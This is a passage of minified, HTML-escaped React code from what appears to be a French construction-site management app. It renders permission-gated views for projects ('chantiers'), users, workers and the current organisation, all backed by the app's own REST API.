&quot;,s.jsx(&quot;span&quot;,{className:&quot;text-stone-400&quot;,children:u.organization.name})]}):null]}),f&amp;&amp;r?s.jsxs(&quot;p&quot;,{className:&quot;mt-2 rounded-xl border border-stone-800 bg-stone-900/50 px-3 py-2 text-xs text-stone-400&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-amber-500/90&quot;,children:&quot;Chantier actif :&quot;}),&quot; &quot;,s.jsx(je,{to:`/projects/${r}`,className:&quot;text-stone-200 underline-offset-2 hover:underline&quot;,children:f.name})]}):c(&quot;projects.view&quot;)?s.jsx(&quot;p&quot;,{className:&quot;mt-2 text-xs text-stone-600&quot;,children:&quot;Aucun chantier sélectionné — choisissez-en un dans l’en-tête ou la liste chantiers.&quot;}):null]}),s.jsxs(&quot;section&quot;,{children:[s.jsx(&quot;h2&quot;,{className:&quot;text-sm font-medium text-stone-300&quot;,children:&quot;Raccourcis MVP&quot;}),s.jsx(&quot;ul&quot;,{className:&quot;mt-3 grid gap-2 sm:grid-cols-2&quot;,children:d.map(p=&gt;s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:p.to,className:bt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:p.title}),s.jsx(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:p.hint})]})},p.to))}),d.length===0?s.jsx(&quot;p&quot;,{className:&quot;mt-3 text-sm text-stone-500&quot;,children:&quot;Aucun raccourci accessible avec vos habilitations.&quot;}):null]})]})}function zv(){const{user:u,logout:c}=De();return s.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;h1&quot;,{className:&quot;text-lg font-semibold text-stone-50&quot;,children:&quot;Profil&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:u==null?void 0:u.email})]}),s.jsxs(&quot;div&quot;,{className:&quot;rounded-2xl border border-stone-800 bg-stone-900/40 px-4 py-3&quot;,children:[s.jsx(&quot;p&quot;,{className:&quot;text-xs font-medium uppercase tracking-wide text-stone-500&quot;,children:&quot;Habilitations (UX)&quot;}),s.jsx(&quot;ul&quot;,{className:&quot;mt-2 flex flex-wrap gap-1.5&quot;,children:((u==null?void 0:u.abilities)??[]).map(f=&gt;s.jsx(&quot;li&quot;,{className:&quot;rounded-md bg-stone-800 px-2 py-0.5 font-mono text-[11px] text-stone-300&quot;,children:f},f))})]}),s.jsx(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;void c(),className:&quot;w-full rounded-xl border border-stone-700 py-3 text-sm font-medium text-stone-200 hover:bg-stone-900&quot;,children:&quot;Se déconnecter&quot;})]})}function le({backTo:u,title:c,subtitle:f}){return s.jsxs(&quot;div&quot;,{className:&quot;mb-5 space-y-1&quot;,children:[u?s.jsx(je,{to:u,className:&quot;inline-block text-xs font-medium text-amber-500 hover:text-amber-400&quot;,children:&quot;← Retour&quot;}):null,s.jsx(&quot;h1&quot;,{className:&quot;text-lg font-semibold text-stone-50&quot;,children:c}),f?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:f}):null]})}function Rv(){const{token:u,can:c}=De(),[f,r]=m.useState(null),[d,p]=m.useState(null),[y,v]=m.useState(!0);return m.useEffect(()=&gt;{if(!u||!c(&quot;organizations.view&quot;)){v(!1);return}let g=!1;return(async()=&gt;{try{const x=await ie(&quot;/api/v1/organizations/current&quot;,{method:&quot;GET&quot;,token:u});g||r(x.data)}catch(x){g||p(x instanceof ge?x.message:&quot;Chargement impossible&quot;)}finally{g||v(!1)}})(),()=&gt;{g=!0}},[u,c]),c(&quot;organizations.view&quot;)?y?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):d?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Organisation&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:d})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/&quot;,title:&quot;Organisation courante&quot;}),f?s.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-2xl border border-stone-800 bg-stone-900/40 px-4 py-3 text-sm&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase tracking-wide text-stone-500&quot;,children:&quot;Nom&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;font-medium text-stone-100&quot;,children:f.name})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase tracking-wide text-stone-500&quot;,children:&quot;Slug&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;font-mono text-stone-300&quot;,children:f.slug})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase tracking-wide text-stone-500&quot;,children:&quot;Statut&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:f.status})]})]}):null]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Organisation&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Vous n’avez pas l’habilitation organizations.view.&quot;})]})}function Ov(){const{token:u,can:c,user:f}=De(),{setActiveProjectId:r}=ft(),[d,p]=m.useState([]),[y,v]=m.useState(null),[g,x]=m.useState(!0);return m.useEffect(()=&gt;{if(!u||!c(&quot;projects.view&quot;)){x(!1);return}let S=!1;return(async()=&gt;{try{const b=await ie(&quot;/api/v1/projects?per_page=100&amp;sort=name&quot;,{method:&quot;GET&quot;,token:u});S||p(b.data)}catch(b){S||v(b instanceof ge?b.message:&quot;Erreur&quot;)}finally{S||x(!1)}})(),()=&gt;{S=!0}},[u,c]),c(&quot;projects.view&quot;)?s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/&quot;,title:&quot;Chantiers&quot;,subtitle:&quot;Projets visibles selon votre rôle et vos accès.&quot;}),(f==null?void 0:f.role)===&quot;entrepreneur_admin&quot;&amp;&amp;c(&quot;projects.manage&quot;)?s.jsx(je,{to:&quot;/projects/new&quot;,className:&quot;block rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Nouveau chantier&quot;}):null,y?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:y}):null,g?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:d.map(S=&gt;s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/projects/${S.id}`,className:bt,onClick:()=&gt;r(S.id),children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:S.name}),s.jsxs(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:[S.code??&quot;—&quot;,&quot; · &quot;,S.status]})]})},S.id))}),!g&amp;&amp;d.length===0?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucun chantier accessible.&quot;}):null]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Chantiers&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (projects.view).&quot;})]})}function wv(){const{projectId:u}=nt(),c=Number(u),{token:f,can:r}=De(),{setActiveProjectId:d}=ft(),[p,y]=m.useState(null),[v,g]=m.useState(null),[x,S]=m.useState(!0);if(m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f){S(!1);return}d(c);let A=!1;return(async()=&gt;{try{const V=await ie(`/api/v1/projects/${c}`,{method:&quot;GET&quot;,token:f});A||y(V.data)}catch(V){A||g(V instanceof ge?V.message:&quot;Chargement impossible&quot;)}finally{A||S(!1)}})(),()=&gt;{A=!0}},[c,f,d]),!Number.isFinite(c))return s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;});if(x)return s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;});if(v||!p)return s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/projects&quot;,title:&quot;Chantier&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:v??&quot;Introuvable&quot;})]});const b=p.id;return s.jsxs(&quot;div&quot;,{className:&quot;space-y-5&quot;,children:[s.jsx(le,{backTo:&quot;/projects&quot;,title:p.name,subtitle:p.code??void 0}),s.jsxs(&quot;div&quot;,{className:&quot;rounded-2xl border border-stone-800 bg-stone-900/40 px-4 py-3 text-sm text-stone-300&quot;,children:[s.jsxs(&quot;p&quot;,{children:[s.jsx(&quot;span&quot;,{className:&quot;text-stone-500&quot;,children:&quot;Statut :&quot;}),&quot; &quot;,p.status]}),p.location?s.jsxs(&quot;p&quot;,{className:&quot;mt-1&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-stone-500&quot;,children:&quot;Lieu :&quot;}),&quot; &quot;,p.location]}):null,p.description?s.jsx(&quot;p&quot;,{className:&quot;mt-2 text-stone-400&quot;,children:p.description}):null]}),s.jsx(&quot;div&quot;,{className:&quot;flex flex-wrap gap-2&quot;,children:r(&quot;projects.manage&quot;)?s.jsx(je,{to:`/projects/${b}/edit`,className:ml,children:&quot;Modifier&quot;}):null}),s.jsxs(&quot;section&quot;,{children:[s.jsx(&quot;h2&quot;,{className:&quot;text-xs font-semibold uppercase tracking-wide text-stone-500&quot;,children:&quot;Périmètre chantier&quot;}),s.jsxs(&quot;ul&quot;,{className:&quot;mt-2 space-y-2&quot;,children:[r(&quot;teams.view&quot;)?s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/projects/${b}/teams`,className:bt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:&quot;Équipes&quot;}),s.jsx(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:&quot;Équipes rattachées au chantier&quot;})]})}):null,r(&quot;worker_assignments.view&quot;)?s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/projects/${b}/assignments`,className:bt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:&quot;Affectations ouvriers&quot;}),s.jsx(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:&quot;Présence sur le chantier&quot;})]})}):null,r(&quot;projects.manage&quot;)?s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/projects/${b}/access`,className:bt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:&quot;Accès utilisateurs&quot;}),s.jsx(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:&quot;Qui voit ce chantier (hors rôles org.)&quot;})]})}):null]})]})]})}const Dv=[{value:&quot;preparation&quot;,label:&quot;Préparation&quot;},{value:&quot;active&quot;,label:&quot;Actif&quot;},{value:&quot;suspended&quot;,label:&quot;Suspendu&quot;},{value:&quot;completed&quot;,label:&quot;Terminé&quot;}];function Dm(){const{projectId:u}=nt(),c=u?Number(u):null,f=Number.isFinite(c),r=Ft(),{token:d,can:p,user:y}=De(),{refreshProjects:v}=ft(),[g,x]=m.useState(&quot;&quot;),[S,b]=m.useState(&quot;&quot;),[A,V]=m.useState(&quot;&quot;),[R,U]=m.useState(&quot;&quot;),[D,G]=m.useState(&quot;&quot;),[$,F]=m.useState(&quot;&quot;),[I,ee]=m.useState(&quot;preparation&quot;),[K,q]=m.useState(&quot;&quot;),[J,H]=m.useState([]),[W,Z]=m.useState(null),[B,ae]=m.useState(!1),[P,ne]=m.useState(f);m.useEffect(()=&gt;{if(!d||!p(&quot;users.view&quot;))return;let k=!1;return(async()=&gt;{try{const se=await ie(&quot;/api/v1/users?per_page=100&amp;sort=full_name&quot;,{method:&quot;GET&quot;,token:d});k||H(se.data)}catch{}})(),()=&gt;{k=!0}},[d,p]),m.useEffect(()=&gt;{if(!f||!d||c===null||!Number.isFinite(c)){ne(!1);return}let k=!1;return(async()=&gt;{try{const se=await ie(`/api/v1/projects/${c}`,{method:&quot;GET&quot;,token:d});if(!k){const pe=se.data;x(pe.name),b(pe.code??&quot;&quot;),V(pe.description??&quot;&quot;),U(pe.location??&quot;&quot;),G(pe.start_date??&quot;&quot;),F(pe.expected_end_date??&quot;&quot;),ee(pe.status),q(pe.site_manager_user_id?String(pe.site_manager_user_id):&quot;&quot;)}}catch(se){k||Z(se instanceof ge?se.message:&quot;Chargement impossible&quot;)}finally{k||ne(!1)}})(),()=&gt;{k=!0}},[f,c,d]);async function w(k){if(k.preventDefault(),!d)return;Z(null),ae(!0);const se={name:g,code:S||null,description:A||null,location:R||null,start_date:D||null,expected_end_date:$||null,status:I,site_manager_user_id:K?Number(K):null};try{f&amp;&amp;c!==null?await ie(`/api/v1/projects/${c}`,{method:&quot;PATCH&quot;,token:d,body:JSON.stringify(se)}):await ie(&quot;/api/v1/projects&quot;,{method:&quot;POST&quot;,token:d,body:JSON.stringify(se)}),await v(),r(f?`/projects/${c}`:&quot;/projects&quot;)}catch(pe){Z(pe instanceof ge?pe.message:&quot;Enregistrement impossible&quot;)}finally{ae(!1)}}return p(&quot;projects.manage&quot;)?!f&amp;&amp;(y==null?void 0:y.role)!==&quot;entrepreneur_admin&quot;?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/projects&quot;,title:&quot;Nouveau chantier&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Seul le rôle entrepreneur (admin) peut créer un chantier dans le MVP.&quot;})]}):P?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:f&amp;&amp;c!==null?`/projects/${c}`:&quot;/projects&quot;,title:f?&quot;Modifier le chantier&quot;:&quot;Nouveau chantier&quot;}),s.jsxs(&quot;form&quot;,{onSubmit:k=&gt;void w(k),className:&quot;space-y-4&quot;,children:[W?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:W}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-name&quot;,className:fe,children:&quot;Nom&quot;}),s.jsx(&quot;input&quot;,{id:&quot;p-name&quot;,className:oe,value:g,onChange:k=&gt;x(k.target.value),required:!0})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-code&quot;,className:fe,children:&quot;Code&quot;}),s.jsx(&quot;input&quot;,{id:&quot;p-code&quot;,className:oe,value:S,onChange:k=&gt;b(k.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-desc&quot;,className:fe,children:&quot;Description&quot;}),s.jsx(&quot;textarea&quot;,{id:&quot;p-desc&quot;,className:oe,rows:3,value:A,onChange:k=&gt;V(k.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-loc&quot;,className:fe,children:&quot;Lieu&quot;}),s.jsx(&quot;input&quot;,{id:&quot;p-loc&quot;,className:oe,value:R,onChange:k=&gt;U(k.target.value)})]}),s.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-3&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-start&quot;,className:fe,children:&quot;Début&quot;}),s.jsx(&quot;input&quot;,{id:&quot;p-start&quot;,type:&quot;date&quot;,className:oe,value:D,onChange:k=&gt;G(k.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-end&quot;,className:fe,children:&quot;Fin prévue&quot;}),s.jsx(&quot;input&quot;,{id:&quot;p-end&quot;,type:&quot;date&quot;,className:oe,value:$,onChange:k=&gt;F(k.target.value)})]})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-status&quot;,className:fe,children:&quot;Statut&quot;}),s.jsx(&quot;select&quot;,{id:&quot;p-status&quot;,className:oe,value:I,onChange:k=&gt;ee(k.target.value),children:Dv.map(k=&gt;s.jsx(&quot;option&quot;,{value:k.value,children:k.label},k.value))})]}),p(&quot;users.view&quot;)?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-sm&quot;,className:fe,children:&quot;Responsable site (utilisateur)&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;p-sm&quot;,className:oe,value:K,onChange:k=&gt;q(k.target.value),children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),J.map(k=&gt;s.jsxs(&quot;option&quot;,{value:k.id,children:[k.full_name,&quot; (&quot;,k.email,&quot;)&quot;]},k.id))]})]}):null,s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:B,className:Ot,children:B?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Chantier&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils avec projects.manage (hors financier).&quot;})]})}function Mv(){const{token:u,can:c}=De(),[f,r]=m.useState([]),[d,p]=m.useState(null),[y,v]=m.useState(!0);return m.useEffect(()=&gt;{if(!u||!c(&quot;users.view&quot;)){v(!1);return}let g=!1;return(async()=&gt;{try{const x=await ie(&quot;/api/v1/users?per_page=100&amp;sort=full_name&quot;,{method:&quot;GET&quot;,token:u});g||r(x.data)}catch(x){g||p(x instanceof ge?x.message:&quot;Erreur&quot;)}finally{g||v(!1)}})(),()=&gt;{g=!0}},[u,c]),c(&quot;users.view&quot;)?s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/&quot;,title:&quot;Utilisateurs&quot;}),c(&quot;users.manage&quot;)?s.jsx(je,{to:&quot;/users/new&quot;,className:&quot;block rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Nouvel utilisateur&quot;}):null,d?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:d}):null,y?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:f.map(g=&gt;s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/users/${g.id}`,className:bt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:g.full_name}),s.jsxs(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:[g.email,&quot; · &quot;,Ci(g.role),g.is_active?&quot;&quot;:&quot; · inactif&quot;]})]})},g.id))}),!y&amp;&amp;f.length===0?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucun utilisateur.&quot;}):null]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Utilisateurs&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé à l’entrepreneur admin (MVP).&quot;})]})}function Uv(){const{userId:u}=nt(),c=Number(u),{token:f,can:r}=De(),[d,p]=m.useState(null),[y,v]=m.useState(null),[g,x]=m.useState(!0);return m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f||!r(&quot;users.view&quot;)){x(!1);return}let S=!1;return(async()=&gt;{try{const b=await ie(`/api/v1/users/${c}`,{method:&quot;GET&quot;,token:f});S||p(b.data)}catch(b){S||v(b instanceof ge?b.message:&quot;Erreur&quot;)}finally{S||x(!1)}})(),()=&gt;{S=!0}},[c,f,r]),r(&quot;users.view&quot;)?Number.isFinite(c)?g?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):y||!d?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/users&quot;,title:&quot;Utilisateur&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:y??&quot;Introuvable&quot;})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/users&quot;,title:d.full_name}),s.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-2xl border border-stone-800 bg-stone-900/40 px-4 py-3 text-sm&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;E-mail&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.email})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Téléphone&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.phone??&quot;—&quot;})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Rôle&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:Ci(d.role)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Actif&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.is_active?&quot;oui&quot;:&quot;non&quot;})]})]}),r(&quot;users.manage&quot;)?s.jsx(je,{to:`/users/${d.id}/edit`,className:`inline-block ${ml}`,children:&quot;Modifier&quot;}):null]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Utilisateur&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function Mm(){const{userId:u}=nt(),c=u?Number(u):null,f=Number.isFinite(c),r=Ft(),{token:d,can:p}=De(),[y,v]=m.useState(&quot;&quot;),[g,x]=m.useState(&quot;&quot;),[S,b]=m.useState(&quot;&quot;),[A,V]=m.useState(&quot;chef_chantier&quot;),[R,U]=m.useState(&quot;&quot;),[D,G]=m.useState(&quot;&quot;),[$,F]=m.useState(!0),[I,ee]=m.useState(null),[K,q]=m.useState(!1),[J,H]=m.useState(f);m.useEffect(()=&gt;{if(!f||!d||c===null||!Number.isFinite(c)){H(!1);return}let Z=!1;return(async()=&gt;{try{const B=await ie(`/api/v1/users/${c}`,{method:&quot;GET&quot;,token:d});if(!Z){const ae=B.data;v(ae.full_name),x(ae.email),b(ae.phone??&quot;&quot;),V(ae.role),F(ae.is_active)}}catch(B){Z||ee(B instanceof ge?B.message:&quot;Chargement impossible&quot;)}finally{Z||H(!1)}})(),()=&gt;{Z=!0}},[f,c,d]);async function W(Z){if(Z.preventDefault(),!!d){ee(null),q(!0);try{if(f&amp;&amp;c!==null){const B={full_name:y,email:g,phone:S||null,role:A,is_active:$};R&amp;&amp;(B.password=R,B.password_confirmation=D),await ie(`/api/v1/users/${c}`,{method:&quot;PATCH&quot;,token:d,body:JSON.stringify(B)}),r(`/users/${c}`)}else await ie(&quot;/api/v1/users&quot;,{method:&quot;POST&quot;,token:d,body:JSON.stringify({full_name:y,email:g,phone:S||null,role:A,password:R,password_confirmation:D,is_active:$})}),r(&quot;/users&quot;)}catch(B){ee(B instanceof ge?B.message:&quot;Enregistrement impossible&quot;)}finally{q(!1)}}}return p(&quot;users.manage&quot;)?J?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:f&amp;&amp;c!==null?`/users/${c}`:&quot;/users&quot;,title:f?&quot;Modifier l’utilisateur&quot;:&quot;Nouvel utilisateur&quot;}),s.jsxs(&quot;form&quot;,{onSubmit:Z=&gt;void W(Z),className:&quot;space-y-4&quot;,children:[I?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:I}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;u-name&quot;,className:fe,children:&quot;Nom complet&quot;}),s.jsx(&quot;input&quot;,{id:&quot;u-name&quot;,className:oe,value:y,onChange:Z=&gt;v(Z.target.value),required:!0})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;u-email&quot;,className:fe,children:&quot;E-mail&quot;}),s.jsx(&quot;input&quot;,{id:&quot;u-email&quot;,type:&quot;email&quot;,className:oe,value:g,onChange:Z=&gt;x(Z.target.value),required:!0})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;u-phone&quot;,className:fe,children:&quot;Téléphone&quot;}),s.jsx(&quot;input&quot;,{id:&quot;u-phone&quot;,className:oe,value:S,onChange:Z=&gt;b(Z.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;u-role&quot;,className:fe,children:&quot;Rôle&quot;}),s.jsx(&quot;select&quot;,{id:&quot;u-role&quot;,className:oe,value:A,onChange:Z=&gt;V(Z.target.value),children:sh.map(Z=&gt;s.jsx(&quot;option&quot;,{value:Z.value,children:Z.label},Z.value))})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;u-pass&quot;,className:fe,children:f?&quot;Nouveau mot de passe (optionnel)&quot;:&quot;Mot de passe&quot;}),s.jsx(&quot;input&quot;,{id:&quot;u-pass&quot;,type:&quot;password&quot;,autoComplete:&quot;new-password&quot;,className:oe,value:R,onChange:Z=&gt;U(Z.target.value),required:!f})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;u-pass2&quot;,className:fe,children:&quot;Confirmation&quot;}),s.jsx(&quot;input&quot;,{id:&quot;u-pass2&quot;,type:&quot;password&quot;,autoComplete:&quot;new-password&quot;,className:oe,value:D,onChange:Z=&gt;G(Z.target.value),required:!f||!!R})]}),s.jsxs(&quot;label&quot;,{className:&quot;flex items-center gap-2 text-sm text-stone-300&quot;,children:[s.jsx(&quot;input&quot;,{type:&quot;checkbox&quot;,checked:$,onChange:Z=&gt;F(Z.target.checked)}),&quot;Compte actif&quot;]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:K,className:Ot,children:K?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Utilisateur&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé à l’entrepreneur admin.&quot;})]})}function Hv(){const{token:u,can:c}=De(),[f,r]=m.useState([]),[d,p]=m.useState(null),[y,v]=m.useState(!0);return m.useEffect(()=&gt;{if(!u||!c(&quot;workers.view&quot;)){v(!1);return}let g=!1;return(async()=&gt;{try{const x=await ie(&quot;/api/v1/workers?per_page=100&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:u});g||r(x.data)}catch(x){g||p(x instanceof ge?x.message:&quot;Erreur&quot;)}finally{g||v(!1)}})(),()=&gt;{g=!0}},[u,c]),c(&quot;workers.view&quot;)?s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/&quot;,title:&quot;Ouvriers&quot;}),c(&quot;workers.manage&quot;)?s.jsx(je,{to:&quot;/workers/new&quot;,className:&quot;block rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Nouvel ouvrier&quot;}):null,d?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:d}):null,y?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:f.map(g=&gt;s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/workers/${g.id}`,className:bt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:g.display_name}),s.jsxs(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:[g.external_reference??&quot;—&quot;,&quot; · &quot;,g.specialty??&quot;spécialité —&quot;,g.is_active?&quot;&quot;:&quot; · inactif&quot;]})]})},g.id))}),!y&amp;&amp;f.length===0?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucun ouvrier.&quot;}):null]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Ouvriers&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (workers.view).&quot;})]})}function qv(){const{workerId:u}=nt(),c=Number(u),{token:f,can:r}=De(),[d,p]=m.useState(null),[y,v]=m.useState(null),[g,x]=m.useState(!0);return 